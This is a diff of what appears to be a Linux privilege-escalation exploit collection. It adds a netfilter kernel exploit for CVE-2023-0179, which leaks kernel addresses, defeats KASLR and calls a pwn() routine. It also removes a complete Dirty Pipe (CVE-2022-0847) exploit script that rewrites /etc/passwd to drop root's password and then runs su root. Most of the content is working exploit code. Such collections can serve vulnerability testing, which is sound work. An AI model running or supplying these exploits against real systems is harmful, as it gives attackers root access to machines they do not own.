nftnl_set_set_u32(set, NFTNL_SET_ID, 1);
|
||||
|
||||
//nftnl_set_add_expr(set, expr);
|
||||
return set;
|
||||
}
|
||||
|
||||
#define NFTA_BITWISE_OP NFTA_BITWISE_XOR + 1
|
||||
#define NFTA_BITWISE_DATA NFTA_BITWISE_OP + 1
|
||||
|
||||
void rule_add_bit_shift(
|
||||
struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
|
||||
uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len)
|
||||
{
|
||||
|
||||
if(bitwise_len > 0xff) {
|
||||
puts("bitwise_len > 0xff");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("bitwise");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_SREG, bitwise_sreg);
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_DREG, bitwise_dreg);
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_OP, shift_type);
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_LEN, bitwise_len);
|
||||
nftnl_expr_set_data(e, NFTA_BITWISE_DATA, data, data_len);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg)
|
||||
{
|
||||
uint32_t data = 0;
|
||||
rule_add_bit_shift(r, NFT_BITWISE_LSHIFT, len, sreg, dreg, &data, sizeof(data));
|
||||
}
|
||||
|
||||
void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
|
||||
{
|
||||
struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
|
||||
nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name);
|
||||
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE);
|
||||
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
|
||||
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key);
|
||||
nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);
|
||||
nftnl_rule_add_expr(r, expr);
|
||||
}
|
||||
|
||||
void rule_add_lookup(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
|
||||
{
|
||||
struct nftnl_expr *expr = nftnl_expr_alloc("lookup");
|
||||
nftnl_expr_set_str(expr, NFTNL_EXPR_LOOKUP_SET, set_name);
|
||||
nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_SET_ID, 1);
|
||||
nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_SREG, reg_key);
|
||||
nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_DREG, reg_data);
|
||||
nftnl_rule_add_expr(r, expr);
|
||||
}
|
||||
|
||||
void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("payload");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("cmp");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTA_CMP_OP, op);
|
||||
nftnl_expr_set_u32(e, NFTA_CMP_SREG, sreg);
|
||||
nftnl_expr_set_data(e, NFTA_CMP_DATA, data, data_len);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
|
||||
e = nftnl_expr_alloc("immediate");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, dreg);
|
||||
nftnl_expr_set_data(e, NFTA_IMMEDIATE_DATA, data, data_len);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("immediate");
|
||||
|
||||
// dreg = 0 -> verdict
|
||||
nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, NFT_REG_VERDICT);
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict);
|
||||
if (verdict == NFT_GOTO || verdict == NFT_JUMP) {
|
||||
nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain_name);
|
||||
}
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
struct nftnl_table* t = build_table(name, family);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWTABLE | (NFT_TYPE_TABLE << 8),
|
||||
NLM_F_CREATE, family, (void**)&t, seq,
|
||||
result_handler
|
||||
);
|
||||
}
|
||||
|
||||
int create_set(struct mnl_socket* nl, char *table_name, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
struct nftnl_set* s = build_set(table_name, name, family);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWSET,
|
||||
NLM_F_CREATE, family, (void**)&s, seq,
|
||||
result_handler
|
||||
);
|
||||
}
|
||||
|
||||
int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, char* dev_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
struct nftnl_chain* c = build_chain(chain_name, table_name, dev_name, base_param);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
|
||||
NLM_F_CREATE, family, (void**)&c, seq,
|
||||
result_handler
|
||||
);
|
||||
}
|
||||
|
||||
int send_packet()
|
||||
{
|
||||
int sockfd;
|
||||
struct sockaddr_in addr;
|
||||
char buffer[] = "This is a test message";
|
||||
char *interface_name = "vlan.10"; // double-tagged packet
|
||||
int interface_index;
|
||||
struct ifreq ifr;
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sockfd < 0) {
|
||||
perror("[-] Error creating socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the SO_BINDTODEVICE socket option
|
||||
if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
|
||||
perror("[-] Error setting SO_BINDTODEVICE socket option");
|
||||
return 1;
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = inet_addr("192.168.123.123"); // random destination
|
||||
addr.sin_port = htons(1337);
|
||||
|
||||
// Send the UDP packet
|
||||
if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
|
||||
perror("[-] Error sending UDP packet");
|
||||
return 1;
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,60 @@
|
|||
/*
|
||||
* ----------------------------------------------------------------------------
|
||||
* "THE BEER-WARE LICENSE" (Revision 42):
|
||||
* David Bouman (pql) wrote this file. As long as you retain this notice you
|
||||
* can do whatever you want with this stuff. If we meet some day, and you think
|
||||
* this stuff is worth it, you can buy me a beer in return. Signed, David.
|
||||
* ----------------------------------------------------------------------------
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
#define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||
#define VLAN_HLEN 4
|
||||
#define VLAN_ETH_HLEN 18
|
||||
|
||||
enum nft_types {
|
||||
NFT_TYPE_TABLE = 0,
|
||||
NFT_TYPE_CHAIN,
|
||||
NFT_TYPE_RULE,
|
||||
NFT_TYPE_SET
|
||||
};
|
||||
|
||||
enum mode {
|
||||
LEAK_ONLY = 1,
|
||||
LEAK_AND_PWN
|
||||
};
|
||||
|
||||
struct unft_base_chain_param {
|
||||
uint32_t hook_num;
|
||||
uint32_t prio;
|
||||
};
|
||||
|
||||
// build helpers
|
||||
struct nftnl_table* build_table(char* name, uint16_t family);
|
||||
struct nftnl_chain* build_chain(char* table_name, char* chain_name, char* dev_name, struct unft_base_chain_param* base_param);
|
||||
struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle);
|
||||
struct nftnl_set* build_set(char *table_name, char *set_name, uint16_t family);
|
||||
|
||||
// create helpers (actually commits to the kernel)
|
||||
int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*handler)(struct mnl_socket*, int, int));
|
||||
|
||||
int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
|
||||
int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, char* dev_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
|
||||
int create_set(struct mnl_socket* nl, char *table_name, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int));
|
||||
|
||||
// expression helpers
|
||||
void rule_add_bit_shift(
|
||||
struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
|
||||
uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len);
|
||||
void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg);
|
||||
void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg);
|
||||
void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len);
|
||||
void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg, uint32_t offset, uint32_t len);
|
||||
void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data);
|
||||
void rule_add_lookup(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data);
|
||||
void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len);
|
||||
void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name);
|
||||
|
||||
int send_packet();
|
||||
unsigned long read_from_file(int line);
|
|
@ -0,0 +1,141 @@
|
|||
#define _GNU_SOURCE 1
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <stdlib.h>
|
||||
#include <libmnl/libmnl.h>
|
||||
#include <libnftnl/table.h>
|
||||
#include <libnftnl/chain.h>
|
||||
#include <libnftnl/set.h>
|
||||
#include <libnftnl/rule.h>
|
||||
#include <libnftnl/expr.h>
|
||||
#include <limits.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include "helpers.h"
|
||||
#include "exploit.h"
|
||||
|
||||
int main(int argc, char** argv, char** envp)
|
||||
{
|
||||
// Use unique thread stack
|
||||
cpu_set_t set;
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(0, &set);
|
||||
sched_setaffinity(getpid(), sizeof(cpu_set_t), &set);
|
||||
|
||||
enum mode choice;
|
||||
|
||||
// cool trick from https://github.com/pqlx/CVE-2022-1015/blob/master/pwn.c
|
||||
if (argc < 2) {
|
||||
puts("[+] Dropping into network namespace");
|
||||
|
||||
char* new_argv[] = {
|
||||
"/usr/bin/unshare",
|
||||
"-Urn",
|
||||
argv[0],
|
||||
"EXPLOIT",
|
||||
NULL
|
||||
};
|
||||
|
||||
execve(new_argv[0], new_argv, envp);
|
||||
puts("Couldn't start unshare wrapper..");
|
||||
puts("Recompile the exploit with an appropriate unshare path.");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (strcmp("EXPLOIT", argv[1])) {
|
||||
puts("[-] Something went wrong...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
puts("Choose an option:");
|
||||
puts(" 1. Leak kernel TEXT address and regs address");
|
||||
puts(" 2. Run the exploit");
|
||||
|
||||
scanf("%d", (int *) &choice);
|
||||
|
||||
char *table_name = "mytable",
|
||||
*base_chain_name = "base_chain",
|
||||
*exploit_chain_name = "exploit_chain",
|
||||
*set_name = "myset12",
|
||||
*dev_name = "eth0";
|
||||
|
||||
puts("[+] Setting up the network namespace environment");
|
||||
system("./setup.sh");
|
||||
|
||||
struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
|
||||
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
|
||||
perror("[-] mnl_socket_bind");
|
||||
puts("[-] Check your CAP_NET_ADMIN capability");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Wait for local traffic to cool down
|
||||
sleep(5);
|
||||
|
||||
int seq = time(NULL);
|
||||
if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL) == -1) {
|
||||
perror("[-] Failed creating table");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created table %s\n", table_name);
|
||||
|
||||
struct unft_base_chain_param bp;
|
||||
// NF_INET_PRE_ROUTING and NF_BR_LOCAL_IN shoud also work
|
||||
bp.hook_num = NF_NETDEV_INGRESS;
|
||||
bp.prio = INT_MIN;
|
||||
if (create_chain(nl, table_name, base_chain_name, dev_name, NFPROTO_NETDEV, &bp, &seq, NULL)) {
|
||||
perror("[-] Failed creating base chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created base chain %s\n", base_chain_name);
|
||||
|
||||
if (create_chain(nl, table_name, exploit_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
|
||||
perror("[-] Failed creating exploit chain");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created exploit chain %s\n", base_chain_name);
|
||||
|
||||
if (create_set(nl, table_name, set_name, NFPROTO_NETDEV, &seq, NULL)) {
|
||||
perror("[-] Failed creating set");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created exploit set\n");
|
||||
|
||||
if (create_base_chain_rule_leak(nl, table_name, base_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
|
||||
perror("[-] Failed creating base chain rule");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("[+] Created base chain rule\n");
|
||||
|
||||
uint8_t offset = 19, len = 4, vlan_hlen = 4;
|
||||
uint8_t ethlen = len - offset + len - VLAN_ETH_HLEN + vlan_hlen;
|
||||
unsigned long found_addr;
|
||||
unsigned long found_instr;
|
||||
if (create_exploit_chain_rule_leak(nl, table_name, exploit_chain_name, NFPROTO_NETDEV, NULL, &seq, offset, len)) {
|
||||
perror("[-] Failed creating base chain rule");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
printf("[+] offset: %hhu & len: %hhu & ethlen = %hhu\n", offset, len, ethlen);
|
||||
puts("[+] Successfully created exploit chain rule!");
|
||||
if (send_packet() == 0) {
|
||||
system("nft list map netdev mytable myset12 | ./run.sh > reg.log");
|
||||
found_addr = read_from_file(0);
|
||||
found_instr = read_from_file(1);
|
||||
printf("[+] Found regs address: 0x%lx\n", found_addr);
|
||||
printf("[+] Found instr address: 0x%lx\n", found_instr);
|
||||
printf("[+] KASLR slide: 0x%lx\n", found_instr - INSTR_BASE);
|
||||
system("nft delete table netdev mytable");
|
||||
}
|
||||
|
||||
if (choice == LEAK_AND_PWN) {
|
||||
printf("[+] Inserting the needle into address 0x%lx\n", found_addr);
|
||||
sleep(5);
|
||||
return pwn(nl, found_addr, found_instr);
|
||||
}
|
||||
return EXIT_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,3 @@
|
|||
#!/bin/bash
|
||||
make needle
|
||||
./needle
|
|
@ -0,0 +1,2 @@
|
|||
0xffffa5cdc0003ae0
|
||||
0xffffffffaa82cfa1
|
|
@ -0,0 +1,29 @@
|
|||
#!/bin/bash
|
||||
|
||||
output=$(</dev/stdin)
|
||||
output=$(echo "$output" | grep -v 0xffffffff)
|
||||
|
||||
text=$(echo "$output" | grep -E "0x[a-f0-9]{7}" | tail -1)
|
||||
lines_text=$(echo "$text" | tr -d ',' | tr -d '{' | tr -d '}')
|
||||
hex_text=$(echo "$lines_text" | grep -oP "0x[a-f0-9]{7}[a-f0-9]{0,1} " | sed s/0x// | sed s/ff//)
|
||||
last_byte_text=$(echo "$hex_text" | head -1 | grep -o "...$")
|
||||
first_byte_regs=$(echo "$hex_text" | head -1 | grep -o "^..")
|
||||
|
||||
big_text=$(echo "$hex_text" | tail -1)
|
||||
little_text=${big_text:4:2}${big_text:2:2}${big_text:0:2}
|
||||
addr_text="0xffffffff$little_text$last_byte_text"
|
||||
|
||||
regs=$(echo "$output" | grep -E "0x[a-f0-9]{7}" | head -1)
|
||||
lines=$(echo "$regs" | tr -d ',' | tr -d '{' | tr -d '}')
|
||||
hex=$(echo "$lines" | grep -oP "0x[a-f0-9]{7}[a-f0-9]{0,1} " | sed s/0x//)
|
||||
last_byte=$(echo "$hex" | head -1 | grep -o "...$")
|
||||
big=$(echo "$hex" | tail -1)
|
||||
if (( ${#big} == 8 ))
|
||||
then
|
||||
big="0$big"
|
||||
fi
|
||||
little=${big:6:2}${big:4:2}${big:2:2}${big:0:2}
|
||||
addr="0xffff$first_byte_regs$little$last_byte"
|
||||
|
||||
printf "$addr\n"
|
||||
printf "$addr_text\n"
|
|
@ -0,0 +1,19 @@
|
|||
#!/bin/sh
|
||||
|
||||
# create the peer virtual device
|
||||
ip link add eth0 type veth peer name host-enp3s0
|
||||
ip link set host-enp3s0 up
|
||||
ip link set eth0 up
|
||||
ip addr add 192.168.137.137/24 dev host-enp3s0
|
||||
# add two vlans on top of it
|
||||
ip link add link host-enp3s0 name vlan.5 type vlan id 5
|
||||
ip link add link vlan.5 name vlan.10 type vlan id 10
|
||||
ip addr add 192.168.147.137/24 dev vlan.10
|
||||
ip link set vlan.5 up
|
||||
ip link set vlan.10 up
|
||||
ip link set lo up
|
||||
# create a bridge to enable hooks
|
||||
ip link add name br0 type bridge
|
||||
ip link set dev br0 up
|
||||
ip link set eth0 master br0
|
||||
ip addr add 192.168.157.137/24 dev br0
|
|
@ -9,3 +9,4 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2021-4204/CVE-2021-4204.yaml
|
||||
- ConfigFile: CVE-2022-25636/CVE-2022-25636.yaml
|
||||
- ConfigFile: CVE-2022-0492/CVE-2022-0492.yaml
|
||||
- ConfigFile: CVE-2023-0179/CVE-2023-0179.yaml
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
FormatVer: 20230306
|
||||
Id: CVE-2021-4043
|
||||
Id: CVE-2021-4034
|
||||
Belong: system
|
||||
PocHazardLevel: low
|
||||
Source: https://github.com/berdav/CVE-2021-4034
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
module UTF-8// INTERNAL ../payload 2
|
Binary file not shown.
|
@ -33,18 +33,6 @@ SiteRequests:
|
|||
Exec : ./CVE-2022-0351
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
# ??判断程序错误码 eg. "??:0"
|
||||
Inter:
|
||||
- "??:0"
|
||||
Condition: None
|
||||
|
|
|
@ -1,159 +0,0 @@
|
|||
#/bin/bash
|
||||
cat>exp.c<<EOF
|
||||
/* SPDX-License-Identifier: GPL-2.0 */
|
||||
/*
|
||||
* Copyright 2022 CM4all GmbH / IONOS SE
|
||||
*
|
||||
* author: Max Kellermann <max.kellermann@ionos.com>
|
||||
*
|
||||
* Proof-of-concept exploit for the Dirty Pipe
|
||||
* vulnerability (CVE-2022-0847) caused by an uninitialized
|
||||
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
|
||||
* file contents in the page cache, even if the file is not permitted
|
||||
* to be written, immutable or on a read-only mount.
|
||||
*
|
||||
* This exploit requires Linux 5.8 or later; the code path was made
|
||||
* reachable by commit f6dd975583bd ("pipe: merge
|
||||
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
|
||||
* there before, it just provided an easy way to exploit it.
|
||||
*
|
||||
* There are two major limitations of this exploit: the offset cannot
|
||||
* be on a page boundary (it needs to write one byte before the offset
|
||||
* to add a reference to this page to the pipe), and the write cannot
|
||||
* cross a page boundary.
|
||||
*
|
||||
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
|
||||
*
|
||||
* Further explanation: https://dirtypipe.cm4all.com/
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/user.h>
|
||||
#ifndef PAGE_SIZE
|
||||
#define PAGE_SIZE 4096
|
||||
#endif
|
||||
/**
|
||||
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
|
||||
* PIPE_BUF_FLAG_CAN_MERGE flag set.
|
||||
*/
|
||||
static void prepare_pipe(int p[2])
|
||||
{
|
||||
if (pipe(p)) abort();
|
||||
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
|
||||
static char buffer[4096];
|
||||
/* fill the pipe completely; each pipe_buffer will now have
|
||||
the PIPE_BUF_FLAG_CAN_MERGE flag */
|
||||
for (unsigned r = pipe_size; r > 0;) {
|
||||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
|
||||
write(p[1], buffer, n);
|
||||
r -= n;
|
||||
}
|
||||
/* drain the pipe, freeing all pipe_buffer instances (but
|
||||
leaving the flags initialized) */
|
||||
for (unsigned r = pipe_size; r > 0;) {
|
||||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
|
||||
read(p[0], buffer, n);
|
||||
r -= n;
|
||||
}
|
||||
/* the pipe is now empty, and if somebody adds a new
|
||||
pipe_buffer without initializing its "flags", the buffer
|
||||
will be mergeable */
|
||||
}
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc != 4) {
|
||||
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* dumb command-line argument parser */
|
||||
const char *const path = argv[1];
|
||||
loff_t offset = strtoul(argv[2], NULL, 0);
|
||||
const char *const data = argv[3];
|
||||
const size_t data_size = strlen(data);
|
||||
if (offset % PAGE_SIZE == 0) {
|
||||
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
|
||||
const loff_t end_offset = offset + (loff_t)data_size;
|
||||
if (end_offset > next_page) {
|
||||
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* open the input file and validate the specified offset */
|
||||
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
|
||||
if (fd < 0) {
|
||||
perror("open failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
struct stat st;
|
||||
if (fstat(fd, &st)) {
|
||||
perror("stat failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (offset > st.st_size) {
|
||||
fprintf(stderr, "Offset is not inside the file\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (end_offset > st.st_size) {
|
||||
fprintf(stderr, "Sorry, cannot enlarge the file\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* create the pipe with all flags initialized with
|
||||
PIPE_BUF_FLAG_CAN_MERGE */
|
||||
int p[2];
|
||||
prepare_pipe(p);
|
||||
/* splice one byte from before the specified offset into the
|
||||
pipe; this will add a reference to the page cache, but
|
||||
since copy_page_to_iter_pipe() does not initialize the
|
||||
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
|
||||
--offset;
|
||||
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
|
||||
if (nbytes < 0) {
|
||||
perror("splice failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (nbytes == 0) {
|
||||
fprintf(stderr, "short splice\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
/* the following write will not create a new pipe_buffer, but
|
||||
will instead write into the page cache, because of the
|
||||
PIPE_BUF_FLAG_CAN_MERGE flag */
|
||||
nbytes = write(p[1], data, data_size);
|
||||
if (nbytes < 0) {
|
||||
perror("write failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if ((size_t)nbytes < data_size) {
|
||||
fprintf(stderr, "short write\n");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
printf("It worked!\n");
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
EOF
|
||||
|
||||
gcc exp.c -o exp -std=c99
|
||||
|
||||
# 备份密码文件
|
||||
rm -f /tmp/passwd
|
||||
cp /etc/passwd /tmp/passwd
|
||||
if [ -f "/tmp/passwd" ];then
|
||||
echo "/etc/passwd已备份到/tmp/passwd"
|
||||
passwd_tmp=$(cat /etc/passwd|head)
|
||||
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
|
||||
|
||||
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
|
||||
|
||||
# 现在可以无需密码切换到root账号
|
||||
su root
|
||||
else
|
||||
echo "/etc/passwd未备份到/tmp/passwd"
|
||||
exit 1
|
||||
fi
|
|
@ -1,75 +0,0 @@
|
|||
FormatVer: 20220307
|
||||
Id: CVE-2022-0847
|
||||
Belong: system
|
||||
PocHazardLevel: high
|
||||
Source: https://github.com/r1is/CVE-2022-0847
|
||||
SiteInfo:
|
||||
Name: CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。
|
||||
Severity: high
|
||||
Description:
|
||||
Linux内核 5.8 及之后版本中的本地提权漏洞,攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”
|
||||
ScopeOfInfluence:
|
||||
5.15<= kernel(linux)< 5.15.25
|
||||
5.16<= kernel(linux)< 5.16.11
|
||||
5.8<= kernel(linux)< 5.10.102
|
||||
kernel(alibaba_cloud_linux_2.1903)<4.19.91-25.7.al7
|
||||
kernel(amazon_2)<5.10.102-99.473.amzn2
|
||||
linux(amazon_2022)<5.15.25-14.106.amzn2022
|
||||
linux(centos_8)<4.18.0-348.20.1.el8_5
|
||||
linux(debian_11)<5.10.92-2
|
||||
linux(opensuse_Leap_15.3)<4.12.14-197.108.1
|
||||
linux(opensuse_Leap_15.4)<4.12.14-197.108.1
|
||||
linux(oracle_7)<4.14.35-2047.511.5.6.el7
|
||||
linux(oracle_8)<4.18.0-348.20.1.el8_5
|
||||
linux(redhat_8)<4.18.0-348.20.1.el8_5
|
||||
linux(suse_12_SP5)<4.12.14-16.91.1
|
||||
linux(ubuntu_18.04)<4.13.0-16.19
|
||||
linux(ubuntu_20.04)<5.14.0-1027.30
|
||||
linux(ubuntu_21.10)<5.13.0-35.40
|
||||
References:
|
||||
- http://packetstormsecurity.com/files/166229/Dirty-Pipe-Linux-Privilege-Escala...
|
||||
- http://packetstormsecurity.com/files/166230/Dirty-Pipe-SUID-Binary-Hijack-Pri...
|
||||
- http://packetstormsecurity.com/files/166258/Dirty-Pipe-Local-Privilege-Escala...
|
||||
- https://bugzilla.redhat.com/show_bug.cgi?id=2060795
|
||||
- https://cert-portal.siemens.com/productcert/pdf/ssa-222547.pdf
|
||||
- https://dirtypipe.cm4all.com/
|
||||
- https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/blob/main/exploit.c
|
||||
- https://help.aliyun.com/document_detail/414641.html
|
||||
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0015
|
||||
- https://security.netapp.com/advisory/ntap-20220325-0005/
|
||||
- https://www.suse.com/support/kb/doc/?id=000020603
|
